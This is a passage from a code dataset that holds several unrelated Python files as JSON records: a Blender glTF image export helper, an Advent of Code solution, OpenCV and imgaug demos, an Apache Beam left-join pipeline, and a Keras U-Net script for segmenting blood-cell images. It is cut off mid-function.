tmp_image.save(quality=export_settings['gltf_image_quality'])\n else:\n tmp_image.save()\n\n with open(tmpfilename, \"rb\") as f:\n return f.read()\n\n\nclass TmpImageGuard:\n \"\"\"Guard to automatically clean up temp images (use it with `with`).\"\"\"\n def __init__(self):\n self.image = None\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n if self.image is not None:\n bpy.data.images.remove(self.image, do_unlink=True)\n\n\ndef make_temp_image_copy(guard: TmpImageGuard, src_image: bpy.types.Image):\n \"\"\"Makes a temporary copy of src_image. Will be cleaned up with guard.\"\"\"\n guard.image = src_image.copy()\n tmp_image = guard.image\n\n tmp_image.update()\n # See #1564 and T95616\n tmp_image.scale(*src_image.size)\n\n if src_image.is_dirty: # Warning, img size change doesn't make it dirty, see T95616\n # Unsaved changes aren't copied by .copy(), so do them ourselves\n tmp_buf = np.empty(src_image.size[0] * src_image.size[1] * 4, np.float32)\n src_image.pixels.foreach_get(tmp_buf)\n tmp_image.pixels.foreach_set(tmp_buf)\n","repo_name":"KhronosGroup/glTF-Blender-IO","sub_path":"addons/io_scene_gltf2/blender/exp/material/extensions/gltf2_blender_image.py","file_name":"gltf2_blender_image.py","file_ext":"py","file_size_in_byte":10563,"program_lang":"python","lang":"en","doc_type":"code","stars":1363,"dataset":"github-code","pt":"48"} +{"seq_id":"22661742157","text":"import queue\nfrom typing import Hashable, Set\nimport hashlib\n\nlines = [x.strip() for x in open('input.txt', 'r')]\nrows, cols = len(lines), len(lines[0])\n\nnums = [int(y) for x in lines for y in x]\n\ndef val(x, y):\n if x < 0 or x >= cols or y < 0 or y >= rows:\n return 10\n return nums[y * cols + x]\n\ntotal = 0\nlows = []\n\nfor y in range(rows):\n for x in range(cols):\n if min(val(x-1, y), val(x+1,y), val(x,y-1), val(x,y+1)) > val(x, y):\n total = total + 1 + val(x, y)\n lows.append((x, y))\n\nprint(total)\n\ndef breadth_first(sx, sy):\n fifo: queue.Queue = queue.SimpleQueue()\n visited: Set = set()\n\n fifo.put((sx, sy))\n\n while not fifo.empty():\n x, y = fifo.get()\n visited.add((x, y))\n\n anchestors = [\n (x2, y2) for x2, y2 in \n [(x-1, y), (x+1,y), (x,y-1), (x,y+1)] \n if val(x2, y2) < 9 and val(x2, y2) > val(x, y) and not (x2, y2) in visited\n ]\n \n for a in anchestors:\n fifo.put(a)\n visited.add(a)\n return len(visited)\n \n \nr = [breadth_first(l[0], l[1]) for l in lows]\nr.sort()\nprint(r[-1] * r[-2] * r[-3])","repo_name":"whymatter/AdventOfCode2021","sub_path":"puzzle_9/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9101707626","text":"import cv2\nimport matplotlib.pyplot as plt\n\nimg_raw = cv2.imread('Images/mandrill-colour.png')\nprint(f\"The type of the opened image is: {type(img_raw)}\")\nprint(f\"The shape of the image is: {img_raw.shape}\")\n\n# OpenCV reads images in the form of BGR, whereas matplotlib reads RGB\nimg_rgb = cv2.cvtColor(img_raw, cv2.COLOR_BGR2RGB)\nplt.imshow(img_rgb)\nplt.waitforbuttonpress(0)\n\nplt.imshow(img_raw)\nplt.waitforbuttonpress(0)\n\nwhile True:\n cv2.imshow('mandrill', img_raw)\n\n if cv2.waitKey(1) & 0xFF == 27:\n # waitKey() Waits for specified milliseconds for any keyboard event.\n # If you press any key in that time, the program continues\n # 27 is the esc keyboard key\n break\n\ncv2.destroyAllWindows()\n\n# cv2.imwrite('final_image.png',img)\n\n","repo_name":"serenelc/python-tutorials","sub_path":"opencv-basics.py","file_name":"opencv-basics.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40049996220","text":"# python leftjoin.py --runner Dataflowrunner --project $PROJECT --region us-central1 --temp_location gs://$PROJECT/tmp\n\n# pytype: skip-file\n\nfrom __future__ import absolute_import\n\nimport argparse\nimport logging\nimport re, os\n\nfrom past.builtins import unicode\n\nimport apache_beam as beam\nfrom apache_beam.io import ReadFromText, WriteToText\nfrom apache_beam.io import ReadFromAvro, WriteToAvro\nfrom apache_beam.options.pipeline_options import PipelineOptions\nfrom apache_beam.options.pipeline_options import SetupOptions\n\nclass RegionSplit(beam.DoFn):\n def process(self, element):\n regionid, regionname = element.split(',')\n yield {'regionid':int(regionid), 'regionname':regionname.title()}\n\nclass UnnestCoGrouped(beam.DoFn):\n def process(self, item, child_pipeline, parent_pipeline):\n k, v = item\n child_dict = v[child_pipeline]\n parent_dict = v[parent_pipeline]\n for child in child_dict:\n try:\n child.update(parent_dict[0])\n yield child\n except IndexError:\n yield child\n\nclass LeftJoin(beam.PTransform):\n def __init__(self, parent_pipeline_name, parent_data, parent_key, child_pipeline_name, child_data, child_key):\n self.parent_pipeline_name = parent_pipeline_name\n self.parent_data = parent_data\n self.parent_key = parent_key\n self.child_pipeline_name = child_pipeline_name\n self.child_data = child_data\n self.child_key = child_key\n\n def expand(self, pcols):\n def _format_as_common_key_tuple(child_dict, child_key):\n return (child_dict[child_key], child_dict)\n\n return ({\n pipeline_name: pcol1 | f'Convert to ({self.parent_key} = {self.child_key}, object) for {pipeline_name}' \n >> beam.Map(_format_as_common_key_tuple, self.child_key)\n for (pipeline_name, pcol1) in pcols.items()}\n | f'CoGroupByKeey {pcols.keys()}' >> beam.CoGroupByKey()\n | 'Unnest Cogrouped' >> beam.ParDo(UnnestCoGrouped(), self.child_pipeline_name, self.parent_pipeline_name)\n )\n\n\ndef run(argv=None, save_main_session=True):\n \"\"\"Main entry point; defines and runs the wordcount pipeline.\"\"\"\n projectid = os.environ.get('PROJECT')\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--input',\n dest='input',\n default=f'gs://{projectid}/',\n help='Input file to process.')\n parser.add_argument(\n '--output',\n dest='output',\n default = f'gs://{projectid}/territories_output', \n help='Output file to write results to.')\n known_args, pipeline_args = parser.parse_known_args(argv)\n\n # We use the save_main_session option because one or more DoFn's in this\n # workflow rely on global context (e.g., a module imported at module level).\n pipeline_options = PipelineOptions(pipeline_args)\n pipeline_options.view_as(SetupOptions).save_main_session = save_main_session\n\n # The pipeline will branch and create two output files from one input\n with beam.Pipeline(options=pipeline_options) as p:\n regions = (\n p | 'Read Regions' >> ReadFromText(known_args.input + 'regions.csv')\n | 'Split Regions' >> beam.ParDo(RegionSplit())\n )\n regions | 'print regions' >> beam.Map(print)\n\n territories = p | 'Read Territories' >> ReadFromAvro(known_args.input + 'territories.avro')\n territories | 'print territories' >> beam.Map(print)\n\n\n leftjoin = {'regions':regions, 'territories':territories} | LeftJoin('regions', regions, 'regionid', 'territories', territories, 'regionid')\n #leftjoin | 'print left join' >> beam.Map(print)\n\n schema = {\n \"namespace\": \"leftjoin.avro\",\n \"type\": \"record\",\n \"name\": \"leftjoin\",\n \"fields\": [\n {\"name\": \"regionid\", \"type\": \"int\"},\n {\"name\": \"regionname\", \"type\": \"string\"},\n {\"name\": \"territoryid\", \"type\": [\"string\", \"null\"]},\n {\"name\": \"territorydescription\", \"type\": [\"string\", \"null\"]}\n ]\n }\n\n leftjoin | 'write to leftjoin to file' >> WriteToAvro(known_args.output+'_leftjoin_avro', schema = schema)\n\n# joined = (\n# p | 'read joined avro file to confirm' >> ReadFromAvro(known_args.output+'_leftjoin_avro*')\n# | 'print joined avro file' >> beam.Map(print)\n# )\n\nif __name__ == '__main__':\n logging.getLogger().setLevel(logging.ERROR)\n run()\n\n","repo_name":"joegagliardo/dataflowclass1","sub_path":"leftjoin.py","file_name":"leftjoin.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"40103387338","text":"import imgaug as ia\nfrom imgaug import augmenters as iaa\nimport cv2\nimport numpy as np\nimport time\n\n\ndef test_imgaug():\n image = cv2.imread('lena.png')\n images = [image, image, image, image]\n\n ia.seed(25)\n seq = iaa.Sequential([\n iaa.Affine(rotate=(-25, 25)),\n iaa.AdditiveGaussianNoise(scale=(0, 50)),\n iaa.Crop(percent=(0, 0.5)),\n iaa.JpegCompression(compression=(95, 95))\n ])\n images_aug = seq(images=images)\n\n cv2.imshow('aug', np.hstack(images_aug))\n cv2.waitKey()\n \n\ndef test_compress_aug():\n image = cv2.imread('lena.png')\n\n jpeg_aug = iaa.JpegCompression(compression=(50, 90))\n images_aug = jpeg_aug(image=image)\n\n cv2.imshow('compress_aug', images_aug)\n cv2.waitKey()\n\n\ndef test_compress_aug_perf():\n image = cv2.imread('lena.png')\n\n jpeg_aug = iaa.JpegCompression(compression=(50, 90))\n\n kPreTimes = 5\n for _ in range(kPreTimes):\n images_aug = jpeg_aug(image=image)\n\n #test batch = 1\n start = time.time()\n kTimes = 100\n for _ in range(kTimes):\n images_aug = jpeg_aug(image=image)\n stop = time.time()\n print('batch = 1 average cost: %.3fms' % ((stop - start) * 1000 / kTimes))\n\n\n #test batch = 10\n start = time.time()\n kBatch = 128\n kTimes = 10\n images = [image for _ in range(kBatch)]\n for _ in range(kTimes):\n images_augs = jpeg_aug(images=images)\n stop = time.time()\n print('batch = 1 average cost: %.3fms' % ((stop - start) * 1000 / kTimes))\n\n\nif __name__ == '__main__':\n test_compress_aug()\n # test_compress_aug_perf()","repo_name":"liyanjiebeijing/python-example","sub_path":"image/test_image_aug.py","file_name":"test_image_aug.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21446903180","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 17 11:05:22 2021\n\n@author: Alejandro Pinel Martínez - Ángel De la Vega Jiménez\n\"\"\"\n\ndatapath = \"../data/\" #Local\npretrainingdatapath = \"../data_pretraining/\"\nsavedmodelspath = \"./saves/\"\npretrainedUNet = savedmodelspath + \"PretrainedUNet.h5\"\npretrainedUNetv2 = savedmodelspath + \"PretrainedUNetv2.h5\"\nsavedUNet = savedmodelspath + \"SavedUNet.h5\"\nsavedUNetv2 = savedmodelspath + \"SavedUNetv2.h5\"\ntempUNet = savedmodelspath + \"TempUNet.h5\"\nstateOfTheArt = savedmodelspath + \"StateOfTheArt.h5\"\n\nimport keras\nimport os\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport random\nfrom keras.applications.resnet import ResNet50\nfrom keras.utils import plot_model, to_categorical\n\nfrom keras.models import Sequential, Model\nfrom keras.layers import Dense, Dropout, Flatten, Input\nfrom keras.layers import Conv2D, MaxPooling2D, Activation, AveragePooling2D\nfrom keras.layers import Add, Concatenate\nfrom keras.layers import UpSampling2D, Conv2DTranspose\nfrom keras.layers.normalization import BatchNormalization\nfrom PIL import Image\nfrom keras.preprocessing.image import ImageDataGenerator \n\nfrom keras.optimizers import SGD\nfrom sklearn.model_selection import KFold\n\nfrom loss import *\nfrom visualization import *\n\n#The local GPU used to run out of memory, so we limited the memory usage:\nos.environ['TF_FORCE_GPU_ALLOW_GROWTH'] = 'true'\n\n#Transform to gray\ndef ToGray(img):\n return cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\n#Function that load a gif\ndef LoadGif(filename):\n gif = cv2.VideoCapture(filename)\n ret,frame = gif.read()\n img = frame\n return img\n\n#Function that load an image and convert it to RGB if needed\ndef LoadImage(filename, color = True):\n if (color):\n img = cv2.imread(filename,cv2.IMREAD_COLOR)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n else:\n img = cv2.imread(filename,cv2.IMREAD_GRAYSCALE)\n\n return img\n\n#Load the data from the datapath directory and resize all the images\ndef LoadData(testpercent = 0.2, target_size=(256, 256)):\n #Always use the same seed\n random.seed(10)\n imagespath = datapath + \"images/\"\n maskspath = datapath + \"masks/\"\n \n names = os.listdir(imagespath)\n \n #Load data into lists\n listimages = []\n listmasks = []\n for imagename in tqdm(names):\n listimages.append(LoadImage(imagespath + imagename))\n listmasks.append(LoadImage(maskspath + imagename, False))\n \n listimages = [cv2.resize(img, target_size[::-1]) for img in listimages]\n listmasks = [cv2.resize(img, target_size[::-1]) for img in listmasks]\n \n #Randomize the order\n zipped = list(zip(listimages, listmasks))\n random.shuffle(zipped)\n listimages, listmasks = zip(*zipped)\n \n #Split training and test\n trainimages = listimages[:int(len(listimages)*(1 - testpercent))]\n testimages = listimages[int(len(listimages)*(1 - testpercent)):]\n \n trainmasks = listmasks[:int(len(listmasks)*(1 - testpercent))]\n testmasks = listmasks[int(len(listmasks)*(1 - testpercent)):]\n \n X_train = np.stack(trainimages)\n Y_train = np.stack(trainmasks)\n X_test = np.stack(testimages)\n Y_test = np.stack(testmasks)\n \n X_train = X_train / 255\n X_test = X_test / 255\n \n Y_train = ToCategoricalMatrix(Y_train)\n Y_test = ToCategoricalMatrix(Y_test)\n \n return X_train, Y_train, X_test, Y_test\n\n#Load the pretraining data\ndef LoadPretrainingData(target_size=(256, 256)):\n trainpath = pretrainingdatapath + \"training/\"\n testpath = pretrainingdatapath + \"test/\"\n \n def LoadFolder(path, masks=False):\n data = []\n names = os.listdir(path)\n for imagename in tqdm(names):\n if (masks):\n img = LoadGif(path + imagename)\n img = ToGray(img)\n data.append(img)\n else:\n data.append(LoadImage(path + imagename, True))\n return data\n \n trainimages = LoadFolder(trainpath + 'images/')\n trainmasks = LoadFolder(trainpath + 'mask/', True)\n testimages = LoadFolder(testpath + 'images/')\n testmasks = LoadFolder(testpath + 'mask/', True)\n \n trainimages = [cv2.resize(img, target_size[::-1]) for img in trainimages]\n trainmasks = [cv2.resize(img, target_size[::-1]) for img in trainmasks]\n testimages = [cv2.resize(img, target_size[::-1]) for img in testimages]\n testmasks = [cv2.resize(img, target_size[::-1]) for img in testmasks]\n \n X_train = np.stack(trainimages)\n Y_train = np.stack(trainmasks)\n X_test = np.stack(testimages)\n Y_test = np.stack(testmasks)\n \n X_train = X_train / 255\n Y_train = Y_train / 255\n X_test = X_test / 255\n Y_test = Y_test / 255\n \n # Y_train = ToCategoricalMatrix(Y_train)\n # Y_test = ToCategoricalMatrix(Y_test)\n \n return X_train, Y_train, X_test, Y_test\n \n#Get the generators from raw data and the arguments to make them\ndef GetGenerators(X_train, Y_train, X_test, Y_test, validation_split=0.1, batch_size=128, data_augmentation=False, seed=None,\n shift_range=0.1, rotation_range=5, flip=True, zoom_range=0.2):\n basic_generator_args = dict(\n validation_split=validation_split\n )\n \n data_augmentation_generator_args = dict(\n width_shift_range=shift_range,\n height_shift_range=shift_range,\n rotation_range=rotation_range,\n \n horizontal_flip=flip,\n vertical_flip=flip,\n zoom_range=zoom_range,\n validation_split=validation_split\n )\n \n test_args = dict()\n \n if (seed is None):\n seed = 1\n \n if (data_augmentation):\n data_generator_args = data_augmentation_generator_args\n else:\n data_generator_args = basic_generator_args\n \n train_gen = GenerateData(X_train, Y_train, data_generator_args, subset='training', batch_size=batch_size, seed=seed)\n val_gen = GenerateData(X_train, Y_train, data_generator_args, subset='validation', batch_size=batch_size, seed=seed)\n test_gen = GenerateData(X_test, Y_test, test_args, batch_size=batch_size, seed=seed)\n \n return train_gen, val_gen, test_gen, data_generator_args, test_args\n \n# Given X and Y, create a generator with the same seed for them\ndef GenerateData(X, Y, generator_args=None, subset=None, batch_size=4, seed=None):\n if (seed is None):\n seed = 1\n if (generator_args is None):\n generator_args = dict()\n \n image_datagen = ImageDataGenerator(**generator_args)\n masks_datagen = ImageDataGenerator(**generator_args)\n \n image_generator = image_datagen.flow(\n X, subset=subset, batch_size=batch_size, seed=seed)\n \n masks_generator = masks_datagen.flow(\n Y, subset=subset, batch_size=batch_size, seed=seed)\n \n data_gen = zip(image_generator, masks_generator)\n return data_gen\n\n#To_categorical for more than one dimension\ndef ToCategoricalMatrix(data):\n originalShape = data.shape\n totalFeatures = data.max() + 1\n \n categorical = data.reshape((-1,))\n categorical = to_categorical(categorical)\n data = categorical.reshape(originalShape + (totalFeatures,))\n return data\n\n#A mask with one value for pixel between 0-2\ndef MaskMonoband(data):\n return np.argmax(data, axis=-1)\n\n#Show the percent of each class\ndef ClassPercentage(masks):\n masks = MaskMonoband(masks)\n unique, counts = np.unique(masks, return_counts=True)\n total = sum(counts)\n percents = [x/total*100 for x in counts]\n data = [(\"Background\", percents[0], 'blue'), (\"Blood cells\", percents[1], 'red'), \n (\"Bacteries\", percents[2], 'green')]\n print(f\"Percent of pixels of each class:\\nBackground: {percents[0]}\\nBlood cells: {percents[1]}\\nBacteries {percents[2]}\")\n \n PlotBars(data, \"Class Percentages\", \"Percent\", dateformat=False)\n\n#UNet from a ResNet\ndef UNetFromResNet(input_shape=(256, 256, 3), n_classes=3):\n #This models a decoder block\n def DecoderBlock(filters, x, skip):\n \n x = UpSampling2D(size=2)(x)\n # print(skip.output_shape)\n x = Concatenate()([x, skip])\n \n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n x = BatchNormalization()(x)\n \n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n x = BatchNormalization()(x)\n \n return x\n \n backbone = ResNet50(input_shape = input_shape, include_top = False, weights = 'imagenet', pooling = 'avg')\n model_input = backbone.input\n \n #We eliminate the last average pooling\n x = backbone.layers[-2].output\n \n \n #Layers were we are going to do skip connections.\n feature_layers = [142, 80, 38, 4, 0]\n filters = [1024, 512, 256, 64, 32]\n \n for i in range(len(feature_layers)):\n skip = backbone.layers[feature_layers[i]].output\n x = DecoderBlock(filters[i], x, skip)\n \n #Final Convolution\n x = Conv2D(n_classes, (3, 3), activation='sigmoid', padding='same')(x)\n \n model_output = x\n model = Model(model_input, model_output)\n \n return model\n\n#Classic implementation of UNet\ndef UNetClassic(input_shape=(256, 256, 3), n_classes=3):\n #Layer of encoder: 2 convs and pooling\n def EncoderLayer(filters, x):\n # x = BatchNormalization()(x)\n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n feature_layer = x\n x = MaxPooling2D()(x)\n return x, feature_layer\n #Layer of decoder, upsampling, conv, concatenation and 2 convs\n def DecoderLayer(filters, x, skip):\n x = UpSampling2D(size=(2,2))(x)\n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n x = Concatenate()([x, skip])\n # x = BatchNormalization()(x)\n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n return x\n \n #Input\n x = Input(input_shape)\n model_input = x\n \n #Encoder\n x, encoder1 = EncoderLayer(64, x)\n x, encoder2 = EncoderLayer(128, x)\n x, encoder3 = EncoderLayer(256, x)\n x, encoder4 = EncoderLayer(512, x)\n \n #Centre\n x = Conv2D(1024, (3, 3), activation='relu', padding='same')(x)\n \n #Decoder\n x = DecoderLayer(512, x, encoder4)\n x = DecoderLayer(256, x, encoder3)\n x = DecoderLayer(128, x, encoder2)\n x = DecoderLayer(64, x, encoder1)\n \n #Output\n if (n_classes == 1):\n x = Conv2D(n_classes, (1, 1), activation='sigmoid', padding='same')(x)\n else:\n x = Conv2D(n_classes, (1, 1), activation='softmax', padding='same')(x)\n \n model_output = x\n \n model = Model(model_input, model_output)\n return model\n\n# Added BatchNormalization and dropout into classic Unet\ndef UNetV2(input_shape=(256, 256, 3), n_classes=3):\n #Layer of encoder: 2 convs and pooling\n def EncoderLayer(filters, x):\n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n x = Conv2D(filters, (3, 3), activation='relu', padding='same')(x)\n feature_layer = x\n x = MaxPooling2D()(x)\n return x, feature_layer\n \n #Layer of decoder, upsampling, conv, concatenation and 2 convs\n def DecoderLayer(filters, x, skip):\n x = UpSampling2D(size=(2,2))(x)\n x = (BatchNormalization())(x)\n x = Concatenate()([x, skip])\n x = Conv2DTranspose(filters, (3, 3), activation='relu', padding='same')(x)\n x = (BatchNormalization())(x)\n x = Conv2DTranspose(filters, (3, 3), activation='relu', padding='same')(x)\n x = (BatchNormalization())(x)\n x = Conv2DTranspose(filters, (3, 3), activation='relu', padding='same')(x)\n x = (BatchNormalization())(x)\n x = Dropout(0.2)(x)\n return x\n \n #Input\n x = Input(input_shape)\n model_input = x\n \n #Encoder\n x, encoder1 = EncoderLayer(32, x)\n x, encoder2 = EncoderLayer(64, x)\n x, encoder3 = EncoderLayer(64, x)\n x, encoder4 = EncoderLayer(128, x)\n x, encoder5 = EncoderLayer(256, x)\n \n #Centre\n x = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\n x = Conv2D(512, (3, 3), activation='relu', padding='same')(x)\n \n x = DecoderLayer(256, x, encoder5)\n x = DecoderLayer(128, x, encoder4)\n x = DecoderLayer(64, x, encoder3)\n x = DecoderLayer(64, x, encoder2)\n x = DecoderLayer(32, x, encoder1)\n \n #Output\n if (n_classes == 1):\n x = Conv2D(n_classes, (1, 1), activation='sigmoid', padding='same')(x)\n else:\n x = Conv2D(n_classes, (1, 1), activation='softmax', padding='same')(x)\n \n model_output = x\n \n model = Model(model_input, model_output)\n return model\n\n\n#Compile for binary data (pretraining)\ndef CompileBinary(model):\n loss = keras.losses.binary_crossentropy\n model.compile(optimizer='adam',\n loss=loss,\n metrics=['accuracy'])\n\n\n# Compile with the optimizer and the loss function\ndef Compile(model, loss='categorical_crossentropy', weight_loss=None):\n if (loss == 'weighted_categorical'):\n loss_final = weighted_categorical_crossentropy(weight_loss)\n model.compile(optimizer='adam',\n loss=loss_final,\n metrics=['accuracy', mean_dice])\n \n elif (loss == 'dice'):\n loss_final = dice_loss\n model.compile(optimizer='adam',\n loss=loss_final,\n metrics=['accuracy', mean_dice])\n \n elif (loss == 'categorical_crossentropy'):\n loss_final = keras.losses.categorical_crossentropy\n model.compile(optimizer='adam',\n loss=loss_final,\n metrics=['accuracy', mean_dice])\n return model\n\n#Train a model with the image data generator\ndef Train(model, train_gen, val_gen, steps_per_epoch=100, batch_size=1, epochs=12):\n hist = model.fit(train_gen,\n batch_size=batch_size,\n epochs=epochs,\n verbose=1,\n validation_data=val_gen,\n steps_per_epoch=steps_per_epoch,\n validation_steps=16)\n \n results = [hist.history['val_accuracy'][-1], hist.history['val_mean_dice'][-1]]\n \n return hist, results\n\n#Entrena distintos modelos usando cross validation y devuelve la accuracy media\ndef CrossValidation(model, train_data, train_labels, TrainArgs, ValArgs, \n loss='categorical_crossentropy', weight_loss=None,\n steps_per_epoch=100, n_splits=3, epochs=12, batch_size=1):\n \n kfold = KFold(n_splits=n_splits, shuffle=True, random_state=42)\n Grupo = 0\n \n # Generate and compilate copies of the model\n models = [keras.models.clone_model(model) for i in range(n_splits)]\n for m in models:\n Compile(m, loss=loss, weight_loss=weight_loss)\n \n accuracies = []\n dices = []\n historials = []\n \n for train_indices, val_indices in kfold.split(train_data):\n print ('#########################################') \n print (f'Cross Validation {Grupo + 1}/{n_splits}') \n \n train_x_data = train_data[train_indices]\n train_y_data = train_labels[train_indices]\n \n train_data_fold = GenerateData(train_x_data, train_y_data, TrainArgs)\n \n val_x_data = train_data[val_indices]\n val_y_data = train_labels[val_indices]\n \n val_data_fold = GenerateData(val_x_data, val_y_data, ValArgs)\n \n historial, results = Train(models[Grupo], train_data_fold, val_data_fold, \n steps_per_epoch=steps_per_epoch, batch_size=batch_size, epochs=epochs)\n \n historials.append(historial)\n accuracies.append(results[0])\n dices.append(results[1])\n \n Grupo = Grupo +1\n \n best_network = dices.index(max(dices))\n mean_dice = sum(dices) / len(dices)\n mean_accuracy = sum(accuracies) / len(accuracies)\n \n print(f'Results: Accuracies: {accuracies} Dice: {dices}')\n print(f'Mean Dice: {mean_dice}')\n print(f'Mean Accuracy: {mean_accuracy}')\n \n results = [mean_accuracy, mean_dice]\n \n return historials[best_network], results\n\n#Test a model and show some images\ndef Test(model, X_test, Y_test):\n predicciones = model.predict(X_test, batch_size=4)\n labels = np.argmax(Y_test, axis = -1)\n preds = np.argmax(predicciones, axis = -1)\n \n print(f\"Y_test: {Y_test.shape} labels: {labels.shape} predicciones: mask: {predicciones.shape} {preds.shape}\")\n \n accuracy = sum(labels.reshape((-1,)) == preds.reshape((-1,)))/len(labels.reshape((-1,)))\n dice = mean_dice(Y_test, predicciones)\n \n print(f\"Accuracy={accuracy} Dice={dice}\")\n \n for i in range(min(len(X_test), 5)): \n ShowImage(predicciones[i,:,:,0], \"Background\")\n ShowImage(predicciones[i,:,:,1], \"Blood cells\")\n ShowImage(predicciones[i,:,:,2], \"Bacteries\")\n visualize(X_test[i], Y_test[i])\n visualize(X_test[i], predicciones[i])\n localaccuracy = sum((labels[i].reshape((-1,)) == preds[i].reshape((-1,))))/len(labels[i].reshape((-1,)))\n print(f\"{i}: Accuracy={localaccuracy}\")\n \n return accuracy\n\n#Change the output layer of a model\ndef AdjustModel(model, n_classes):\n model_input = model.input\n \n #We eliminate the last layer\n x = model.layers[-2].output\n \n if (n_classes == 1):\n model_output = Conv2D(1, (1, 1), activation='sigmoid', padding='same')(x)\n else:\n model_output = Conv2D(n_classes, (1, 1), activation='softmax', padding='same')(x)\n \n model = Model(model_input, model_output)\n \n return model\n \n#Pretrain a model with the pre-train dataset\ndef PreTrain(model, pathtosave, name=\"\"):\n X_train, Y_train, X_test, Y_test = LoadPretrainingData()\n \n model = AdjustModel(model, 1)\n CompileBinary(model)\n \n hist = model.fit(X_train, Y_train,\n batch_size=4,\n epochs=30,\n verbose=1,\n validation_data=(X_test, Y_test))\n \n name = name + \" pre-train\"\n ShowEvolution(name, hist)\n \n model.save(pathtosave)\n \n return model\n\n#Load a model from memory. If n_classes is provided, the output layer is changed accordingly\ndef LoadModel(pathtosave, n_classes=None):\n model = keras.models.load_model(pathtosave, custom_objects={'mean_dice': mean_dice})\n # model = model_from_json(open(pathtosave).read())\n # model.load_weights(os.path.join(os.path.dirname(pathtosave), 'model_weights.h5'))\n \n if (n_classes != None):\n model = AdjustModel(model, n_classes)\n return model\n\ndef CompareModels(model1, model2, testimages, testlabels, name1=\"Option 1\", name2=\"Option 2\"):\n preds1 = model1.predict(testimages, batch_size=4)\n preds2 = model2.predict(testimages, batch_size=4)\n \n for i in range(len(testimages)):\n ShowComparation(testimages[i], testlabels[i], preds1[i], preds2[i], name1, name2)\n\ndef main():\n \n X_train, Y_train, X_test, Y_test = LoadData()\n train_gen, val_gen, test_gen, TrainArgs, TestArgs = GetGenerators(\n X_train, Y_train, X_test, Y_test, data_augmentation=True, batch_size=4)\n \n \n experimentalResults = []\n \n def Experiment(name, model, useCrossValidation=True, TrainArgs_=None, TestArgs_=None, \n loss='categorical_crossentropy', weight_loss=None, epochs=5, steps_per_epoch=400, add_results=True):\n if (TrainArgs_ is None):\n TrainArgs_=TrainArgs\n if (TestArgs_ is None):\n TestArgs_=TestArgs\n \n if (useCrossValidation):\n hist, results = CrossValidation(model, X_train, Y_train, TrainArgs_, TestArgs_,\n loss=loss, weight_loss=weight_loss, steps_per_epoch=steps_per_epoch, epochs=epochs)\n else:\n hist, results = Train(model, train_gen, val_gen, steps_per_epoch=steps_per_epoch, batch_size=1, epochs=epochs)\n \n ShowEvolution(name, hist)\n \n #Add results \n if (add_results):\n accuracy_four_decimals = format(results[0], '.4f')\n dice_four_decimals = format(results[1], '.4f')\n experimentalResults.append((f'{name}: {dice_four_decimals}%', results[1]))\n print(f\"{name}: Accuracy = {accuracy_four_decimals} Dice = {dice_four_decimals}\")\n \n ############################# DATA AUGMENTATION ##############################################\n def DataAugmentationTests():\n print(\"Test of data augmentation\")\n experiment_steps_per_epoch = 50\n experiment_epochs = 5\n \n model = UNetClassic()\n Compile(model, loss='categorical_crossentropy')\n _,_,_, NoDATrainArgs, NoDATestArgs = GetGenerators(X_train, Y_train, X_test, Y_test, data_augmentation=False, batch_size=4)\n Experiment(f\"No Data Augmentation\", model, TrainArgs_=NoDATrainArgs, steps_per_epoch=experiment_steps_per_epoch, epochs = experiment_epochs)\n \n model = UNetClassic()\n Compile(model, loss='categorical_crossentropy')\n Experiment(f\"Data Augmentation\", model, steps_per_epoch=experiment_steps_per_epoch, epochs = experiment_epochs)\n \n PlotBars(experimentalResults, \"Data Augmentation\", \"Dice\")\n \n ############################# PRE-TRAIN ##############################################\n def PreTrainingTests():\n print(\"Test of pretraining\")\n experiment_steps_per_epoch = 100\n experiment_epochs = 5\n \n model = LoadModel(pretrainedUNet, 3)\n Compile(model, loss='categorical_crossentropy')\n Experiment(f\"Pre-Trained\", model, steps_per_epoch=experiment_steps_per_epoch, epochs = experiment_epochs)\n \n model = UNetClassic()\n Compile(model, loss='categorical_crossentropy')\n Experiment(f\"Not Pre-Trained\", model, steps_per_epoch=experiment_steps_per_epoch, epochs = experiment_epochs)\n \n PlotBars(experimentalResults, \"Pre-trained\", \"Dice\")\n \n ############################# LOSS FUNCTIONS ##############################################\n def lossFunctionsTests():\n print(\"Test of loss functions\")\n weights = calculateClassWeights(Y_train)\n print(weights)\n # Experiment with the shifts\n losses = ['weighted_categorical', 'dice', 'categorical_crossentropy']\n for l in losses:\n model = UNetClassic()\n Compile(model, loss=l, weight_loss = weights)\n _,_,_, TrainArgs, TestArgs = GetGenerators(X_train, Y_train, X_test, Y_test, batch_size=4)\n Experiment(f\"Loss {l}\", model, TrainArgs_=TrainArgs, steps_per_epoch=100, epochs = 5, loss = l, weight_loss=weights)\n print(experimentalResults)\n PlotBars(experimentalResults, \"Loss funcion\", \"Dice\")\n \n ############################# UNET CLASSIC ##############################################\n def UnetClassicTest():\n print(\"Complete test of U-Net\")\n #If the model is already saved\n # unet = LoadModel(pretrainedUNet, 3)\n \n unet = UNetClassic()\n unet = 